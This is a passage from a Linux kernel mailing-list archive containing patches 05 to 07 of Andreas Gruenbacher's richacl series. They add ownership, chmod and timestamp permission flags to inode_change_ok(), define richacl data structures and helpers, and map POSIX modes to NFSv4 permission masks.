a/fs/attr.c b/fs/attr.c index 6530ced..328be71 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -28,7 +28,7 @@ * Should be called as the first thing in ->setattr implementations, * possibly after taking additional locks. */ -int inode_change_ok(const struct inode *inode, struct iattr *attr) +int inode_change_ok(struct inode *inode, struct iattr *attr) { unsigned int ia_valid = attr->ia_valid; diff --git a/include/linux/fs.h b/include/linux/fs.h index 402acd7..aab32c8 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -2871,7 +2871,7 @@ extern int buffer_migrate_page(struct address_space *, #define buffer_migrate_page NULL #endif -extern int inode_change_ok(const struct inode *, struct iattr *); +extern int inode_change_ok(struct inode *, struct iattr *); extern int inode_newsize_ok(const struct inode *, loff_t offset); extern void setattr_copy(struct inode *inode, const struct iattr *attr); -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 31B5D7F85 for ; Fri, 16 Oct 2015 10:19:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 225FB30406A for ; Fri, 16 Oct 2015 08:19:10 -0700 (PDT) X-ASG-Debug-ID: 1445008748-04cb6c3cee39f10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id F73ekVcoLWllC9L0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:09 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 38EF6A58A5; Fri, 16 Oct 2015 15:19:08 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbm011947; Fri, 16 Oct 2015 11:19:02 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 05/48] vfs: Add permission flags for setting file attributes Date: Fri, 16 Oct 2015 17:17:43 +0200 X-ASG-Orig-Subj: [PATCH v11 05/48] vfs: Add permission flags for setting file attributes Message-Id: <1445008706-15115-6-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008748 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls support permissions that allow to take ownership of a file, change the file permissions, and set the file timestamps. Support that by introducing new permission mask flags and by checking for those mask flags in inode_change_ok(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 79 +++++++++++++++++++++++++++++++++++++++++++++--------- include/linux/fs.h | 3 +++ 2 files changed, 70 insertions(+), 12 deletions(-) diff --git a/fs/attr.c b/fs/attr.c index 328be71..85483e0 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -17,6 +17,65 @@ #include /** + * inode_extended_permission - permissions beyond read/write/execute + * + * Check for permissions that only richacls can currently grant. + */ +static int inode_extended_permission(struct inode *inode, int mask) +{ + if (!IS_RICHACL(inode)) + return -EPERM; + return inode_permission(inode, mask); +} + +static bool inode_uid_change_ok(struct inode *inode, kuid_t ia_uid) +{ + if (uid_eq(current_fsuid(), inode->i_uid) && + uid_eq(ia_uid, inode->i_uid)) + return true; + if (uid_eq(current_fsuid(), ia_uid) && + inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +static bool inode_gid_change_ok(struct inode *inode, kgid_t ia_gid) +{ + int in_group = in_group_p(ia_gid); + if (uid_eq(current_fsuid(), inode->i_uid) && + (in_group || gid_eq(ia_gid, inode->i_gid))) + return true; + if (in_group && inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +/** + * inode_owner_permitted_or_capable + * + * Check for permissions implicitly granted to the owner, like MAY_CHMOD or + * MAY_SET_TIMES. Equivalent to inode_owner_or_capable for file systems + * without support for those permissions. + */ +static bool inode_owner_permitted_or_capable(struct inode *inode, int mask) +{ + struct user_namespace *ns; + + if (uid_eq(current_fsuid(), inode->i_uid)) + return true; + if (inode_extended_permission(inode, mask) == 0) + return true; + ns = current_user_ns(); + if (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid)) + return true; + return false; +} + +/** * inode_change_ok - check if attribute changes to an inode are allowed * @inode: inode to check * @attr: attributes to change @@ -47,22 +106,18 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) return 0; /* Make sure a caller can chown. */ - if ((ia_valid & ATTR_UID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - !uid_eq(attr->ia_uid, inode->i_uid)) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_UID) + if (!inode_uid_change_ok(inode, attr->ia_uid)) + return -EPERM; /* Make sure caller can chgrp. */ - if ((ia_valid & ATTR_GID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_GID) + if (!inode_gid_change_ok(inode, attr->ia_gid)) + return -EPERM; /* Make sure a caller can chmod. */ if (ia_valid & ATTR_MODE) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_CHMOD)) return -EPERM; /* Also check the setgid bit! */ if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid : @@ -73,7 +128,7 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) /* Check for setting the inode time. */ if (ia_valid & (ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET)) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_SET_TIMES)) return -EPERM; } diff --git a/include/linux/fs.h b/include/linux/fs.h index aab32c8..ba91a89 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -86,6 +86,9 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CREATE_DIR 0x00000200 #define MAY_DELETE_CHILD 0x00000400 #define MAY_DELETE_SELF 0x00000800 +#define MAY_TAKE_OWNERSHIP 0x00001000 +#define MAY_CHMOD 0x00002000 +#define MAY_SET_TIMES 0x00004000 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 46E337F75 for ; Fri, 16 Oct 2015 10:19:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D5E97AC006 for ; Fri, 16 Oct 2015 08:19:16 -0700 (PDT) X-ASG-Debug-ID: 1445008754-04bdf06db4729b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fbNhx4ImUzq9HteH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id D8EF4A2C07; Fri, 16 Oct 2015 15:19:14 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbn011947; Fri, 16 Oct 2015 11:19:08 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 06/48] richacl: In-memory representation and helper functions Date: Fri, 16 Oct 2015 17:17:44 +0200 X-ASG-Orig-Subj: [PATCH v11 06/48] richacl: In-memory representation and helper functions Message-Id: <1445008706-15115-7-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008755 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A richacl consists of an NFSv4 acl and an owner, group, and other mask. These three masks correspond to the owner, group, and other file permission bits, but they contain NFSv4 permissions instead of POSIX permissions. Each entry in the NFSv4 acl applies to the file owner (OWNER@), the owning group (GROUP@), everyone (EVERYONE@), or to a specific uid or gid. As in the standard POSIX file permission model, each process is the owner, group, or other file class. A richacl grants a requested access only if the NFSv4 acl in the richacl grants the access (according to the NFSv4 permission check algorithm), and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 2 + fs/richacl_base.c | 67 ++++++++++++++ include/linux/richacl.h | 216 +++++++++++++++++++++++++++++++++++++++++++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/richacl.h | 62 +++++++++++++ 5 files changed, 348 insertions(+) create mode 100644 fs/richacl_base.c create mode 100644 include/linux/richacl.h create mode 100644 include/uapi/linux/richacl.h diff --git a/fs/Makefile b/fs/Makefile index f79cf40..fe3e9dd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -48,6 +48,8 @@ obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o +obj-$(CONFIG_FS_RICHACL) += richacl.o +richacl-y := richacl_base.o obj-y += quota/ diff --git a/fs/richacl_base.c b/fs/richacl_base.c new file mode 100644 index 0000000..6d9a073 --- /dev/null +++ b/fs/richacl_base.c @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_alloc - allocate a richacl + * @count: number of entries + */ +struct richacl * +richacl_alloc(int count, gfp_t gfp) +{ + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *acl = kzalloc(size, gfp); + + if (acl) { + atomic_set(&acl->a_refcount, 1); + acl->a_count = count; + } + return acl; +} +EXPORT_SYMBOL_GPL(richacl_alloc); + +/** + * richacl_clone - create a copy of a richacl + */ +struct richacl * +richacl_clone(const struct richacl *acl, gfp_t gfp) +{ + int count = acl->a_count; + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *dup = kmalloc(size, gfp); + + if (dup) { + memcpy(dup, acl, size); + atomic_set(&dup->a_refcount, 1); + } + return dup; +} + +/** + * richace_copy - copy an acl entry + */ +void +richace_copy(struct richace *to, const struct richace *from) +{ + memcpy(to, from, sizeof(struct richace)); +} diff --git a/include/linux/richacl.h b/include/linux/richacl.h new file mode 100644 index 0000000..6109f84 --- /dev/null +++ b/include/linux/richacl.h @@ -0,0 +1,216 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_H +#define __RICHACL_H + +#include + +struct richace { + unsigned short e_type; + unsigned short e_flags; + unsigned int e_mask; + union { + kuid_t uid; + kgid_t gid; + unsigned int special; + } e_id; +}; + +struct richacl { + atomic_t a_refcount; + unsigned int a_owner_mask; + unsigned int a_group_mask; + unsigned int a_other_mask; + unsigned short a_count; + unsigned short a_flags; + struct richace a_entries[0]; +}; + +#define RICHACL_VALID_FLAGS ( \ + RICHACL_WRITE_THROUGH | \ + RICHACL_MASKED) + +#define RICHACE_VALID_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO) + +#define RICHACE_INHERITANCE_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE ) + +/* Valid RICHACE_* flags for directories and non-directories */ +#define RICHACE_VALID_MASK ( \ + RICHACE_READ_DATA | RICHACE_LIST_DIRECTORY | \ + RICHACE_WRITE_DATA | RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_READ_NAMED_ATTRS | \ + RICHACE_WRITE_NAMED_ATTRS | \ + RICHACE_EXECUTE | \ + RICHACE_DELETE_CHILD | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_RETENTION | \ + RICHACE_WRITE_RETENTION_HOLD | \ + RICHACE_DELETE | \ + RICHACE_READ_ACL | \ + RICHACE_WRITE_ACL | \ + RICHACE_WRITE_OWNER | \ + RICHACE_SYNCHRONIZE) + +#define richacl_for_each_entry(_ace, _acl) \ + for (_ace = (_acl)->a_entries; \ + _ace != (_acl)->a_entries + (_acl)->a_count; \ + _ace++) + +#define richacl_for_each_entry_reverse(_ace, _acl) \ + for (_ace = (_acl)->a_entries + (_acl)->a_count - 1; \ + _ace != (_acl)->a_entries - 1; \ + _ace--) + +/** + * richacl_get - grab another reference to a richacl handle + */ +static inline struct richacl * +richacl_get(struct richacl *acl) +{ + if (acl) + atomic_inc(&acl->a_refcount); + return acl; +} + +/** + * richacl_put - free a richacl handle + */ +static inline void +richacl_put(struct richacl *acl) +{ + if (acl && atomic_dec_and_test(&acl->a_refcount)) + kfree(acl); +} + +/** + * richace_is_owner - check if @ace is an OWNER@ entry + */ +static inline bool +richace_is_owner(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_OWNER_SPECIAL_ID; +} + +/** + * richace_is_group - check if @ace is a GROUP@ entry + */ +static inline bool +richace_is_group(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_GROUP_SPECIAL_ID; +} + +/** + * richace_is_everyone - check if @ace is an EVERYONE@ entry + */ +static inline bool +richace_is_everyone(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_EVERYONE_SPECIAL_ID; +} + +/** + * richace_is_unix_user - check if @ace applies to a specific user + */ +static inline bool +richace_is_unix_user(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + !(ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_unix_group - check if @ace applies to a specific group + */ +static inline bool +richace_is_unix_group(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + (ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_inherit_only - check if @ace is for inheritance only + * + * ACEs with the %RICHACE_INHERIT_ONLY_ACE flag set have no effect during + * permission checking. + */ +static inline bool +richace_is_inherit_only(const struct richace *ace) +{ + return ace->e_flags & RICHACE_INHERIT_ONLY_ACE; +} + +/** + * richace_is_inheritable - check if @ace is inheritable + */ +static inline bool +richace_is_inheritable(const struct richace *ace) +{ + return ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE); +} + +/** + * richace_is_allow - check if @ace is an %ALLOW type entry + */ +static inline bool +richace_is_allow(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE; +} + +/** + * richace_is_deny - check if @ace is a %DENY type entry + */ +static inline bool +richace_is_deny(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_DENIED_ACE_TYPE; +} + +/** + * richace_is_same_identifier - are both identifiers the same? + */ +static inline bool +richace_is_same_identifier(const struct richace *a, const struct richace *b) +{ + return !((a->e_flags ^ b->e_flags) & + (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && + !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); +} + +extern struct richacl *richacl_alloc(int, gfp_t); +extern struct richacl *richacl_clone(const struct richacl *, gfp_t); +extern void richace_copy(struct richace *, const struct richace *); + +#endif /* __RICHACL_H */ diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild index f7b2db4..8c82010 100644 --- a/include/uapi/linux/Kbuild +++ b/include/uapi/linux/Kbuild @@ -348,6 +348,7 @@ header-y += reboot.h header-y += reiserfs_fs.h header-y += reiserfs_xattr.h header-y += resource.h +header-y += richacl.h header-y += rfkill.h header-y += romfs_fs.h header-y += rose.h diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h new file mode 100644 index 0000000..de29a17 --- /dev/null +++ b/include/uapi/linux/richacl.h @@ -0,0 +1,62 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_H +#define __UAPI_RICHACL_H + +/* a_flags values */ +#define RICHACL_WRITE_THROUGH 0x40 +#define RICHACL_MASKED 0x80 + +/* e_type values */ +#define RICHACE_ACCESS_ALLOWED_ACE_TYPE 0x0000 +#define RICHACE_ACCESS_DENIED_ACE_TYPE 0x0001 + +/* e_flags bitflags */ +#define RICHACE_FILE_INHERIT_ACE 0x0001 +#define RICHACE_DIRECTORY_INHERIT_ACE 0x0002 +#define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 +#define RICHACE_INHERIT_ONLY_ACE 0x0008 +#define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_SPECIAL_WHO 0x4000 + +/* e_mask bitflags */ +#define RICHACE_READ_DATA 0x00000001 +#define RICHACE_LIST_DIRECTORY 0x00000001 +#define RICHACE_WRITE_DATA 0x00000002 +#define RICHACE_ADD_FILE 0x00000002 +#define RICHACE_APPEND_DATA 0x00000004 +#define RICHACE_ADD_SUBDIRECTORY 0x00000004 +#define RICHACE_READ_NAMED_ATTRS 0x00000008 +#define RICHACE_WRITE_NAMED_ATTRS 0x00000010 +#define RICHACE_EXECUTE 0x00000020 +#define RICHACE_DELETE_CHILD 0x00000040 +#define RICHACE_READ_ATTRIBUTES 0x00000080 +#define RICHACE_WRITE_ATTRIBUTES 0x00000100 +#define RICHACE_WRITE_RETENTION 0x00000200 +#define RICHACE_WRITE_RETENTION_HOLD 0x00000400 +#define RICHACE_DELETE 0x00010000 +#define RICHACE_READ_ACL 0x00020000 +#define RICHACE_WRITE_ACL 0x00040000 +#define RICHACE_WRITE_OWNER 0x00080000 +#define RICHACE_SYNCHRONIZE 0x00100000 + +/* e_id values */ +#define RICHACE_OWNER_SPECIAL_ID 0 +#define RICHACE_GROUP_SPECIAL_ID 1 +#define RICHACE_EVERYONE_SPECIAL_ID 2 + +#endif /* __UAPI_RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 414FC7F75 for ; Fri, 16 Oct 2015 10:19:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AEE15AC001 for ; Fri, 16 Oct 2015 08:19:23 -0700 (PDT) X-ASG-Debug-ID: 1445008761-04cb6c3ceb39f30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NkJFcGwUzBI8cuC0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:22 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 6A8E033078F; Fri, 16 Oct 2015 15:19:21 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbo011947; Fri, 16 Oct 2015 11:19:15 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 07/48] richacl: Permission mapping functions Date: Fri, 16 Oct 2015 17:17:45 +0200 X-ASG-Orig-Subj: [PATCH v11 07/48] richacl: Permission mapping functions Message-Id: <1445008706-15115-8-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008762 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We need to map from POSIX permissions to NFSv4 permissions when a chmod() is done, from NFSv4 permissions to POSIX permissions when an acl is set (which implicitly sets the file permission bits), and from the MAY_READ/MAY_WRITE/MAY_EXEC/MAY_APPEND flags to NFSv4 permissions when doing an access check in a richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 118 +++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 ++ include/uapi/linux/richacl.h | 49 ++++++++++++++++++ 3 files changed, 170 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 6d9a073..dd99773 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -65,3 +65,121 @@ richace_copy(struct richace *to, const struct richace *from) { memcpy(to, from, sizeof(struct richace)); } + +/* + * richacl_mask_to_mode - compute the file permission bits from mask + * @mask: %RICHACE_* permission mask + * + * Compute the file permission bits corresponding to a particular set of + * richacl permissions. + * + * See richacl_masks_to_mode(). + */ +static int +richacl_mask_to_mode(unsigned int mask) +{ + int mode = 0; + + if (mask & RICHACE_POSIX_MODE_READ) + mode |= S_IROTH; + if (mask & RICHACE_POSIX_MODE_WRITE) + mode |= S_IWOTH; + if (mask & RICHACE_POSIX_MODE_EXEC) + mode |= S_IXOTH; + + return mode; +} + +/** + * richacl_masks_to_mode - compute file permission bits from file masks + * + * When setting a richacl, we set the file permission bits to indicate maximum + * permissions: for example, we set the Write permission when a mask contains + * RICHACE_APPEND_DATA even if it does not also contain RICHACE_WRITE_DATA. + * + * Permissions which are not in RICHACE_POSIX_MODE_READ, + * RICHACE_POSIX_MODE_WRITE, or RICHACE_POSIX_MODE_EXEC cannot be represented + * in the file permission bits. Such permissions can still be effective, but + * not for new files or after a chmod(); they must be explicitly enabled in the + * richacl. + */ +int +richacl_masks_to_mode(const struct richacl *acl) +{ + return richacl_mask_to_mode(acl->a_owner_mask) << 6 | + richacl_mask_to_mode(acl->a_group_mask) << 3 | + richacl_mask_to_mode(acl->a_other_mask); +} +EXPORT_SYMBOL_GPL(richacl_masks_to_mode); + +/** + * richacl_mode_to_mask - compute a file mask from the lowest three mode bits + * @mode: mode to convert to richacl permissions + * + * When the file permission bits of a file are set with chmod(), this specifies + * the maximum permissions that processes will get. All permissions beyond + * that will be removed from the file masks, and become ineffective. + */ +unsigned int +richacl_mode_to_mask(umode_t mode) +{ + unsigned int mask = 0; + + if (mode & S_IROTH) + mask |= RICHACE_POSIX_MODE_READ; + if (mode & S_IWOTH) + mask |= RICHACE_POSIX_MODE_WRITE; + if (mode & S_IXOTH) + mask |= RICHACE_POSIX_MODE_EXEC; + + return mask; +} + +/** + * richacl_want_to_mask - convert the iop->permission want argument to a mask + * @want: @want argument of the permission inode operation + * + * When checking for append, @want is (MAY_WRITE | MAY_APPEND). + * + * Richacls use the iop->may_create and iop->may_delete hooks which are used + * for checking if creating and deleting files is allowed. These hooks do not + * use richacl_want_to_mask(), so we do not have to deal with mapping MAY_WRITE + * to RICHACE_ADD_FILE, RICHACE_ADD_SUBDIRECTORY, and RICHACE_DELETE_CHILD + * here. + */ +unsigned int +richacl_want_to_mask(unsigned int want) +{ + unsigned int mask = 0; + + if (want & MAY_READ) + mask |= RICHACE_READ_DATA; + if (want & MAY_DELETE_SELF) + mask |= RICHACE_DELETE; + if (want & MAY_TAKE_OWNERSHIP) + mask |= RICHACE_WRITE_OWNER; + if (want & MAY_CHMOD) + mask |= RICHACE_WRITE_ACL; + if (want & MAY_SET_TIMES) + mask |= RICHACE_WRITE_ATTRIBUTES; + if (want & MAY_EXEC) + mask |= RICHACE_EXECUTE; + /* + * differentiate MAY_WRITE from these request + */ + if (want & (MAY_APPEND | + MAY_CREATE_FILE | MAY_CREATE_DIR | + MAY_DELETE_CHILD)) { + if (want & MAY_APPEND) + mask |= RICHACE_APPEND_DATA; + if (want & MAY_CREATE_FILE) + mask |= RICHACE_ADD_FILE; + if (want & MAY_CREATE_DIR) + mask |= RICHACE_ADD_SUBDIRECTORY; + if (want & MAY_DELETE_CHILD) + mask |= RICHACE_DELETE_CHILD; + } else if (want & MAY_WRITE) + mask |= RICHACE_WRITE_DATA; + return mask; +} +EXPORT_SYMBOL_GPL(richacl_want_to_mask); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 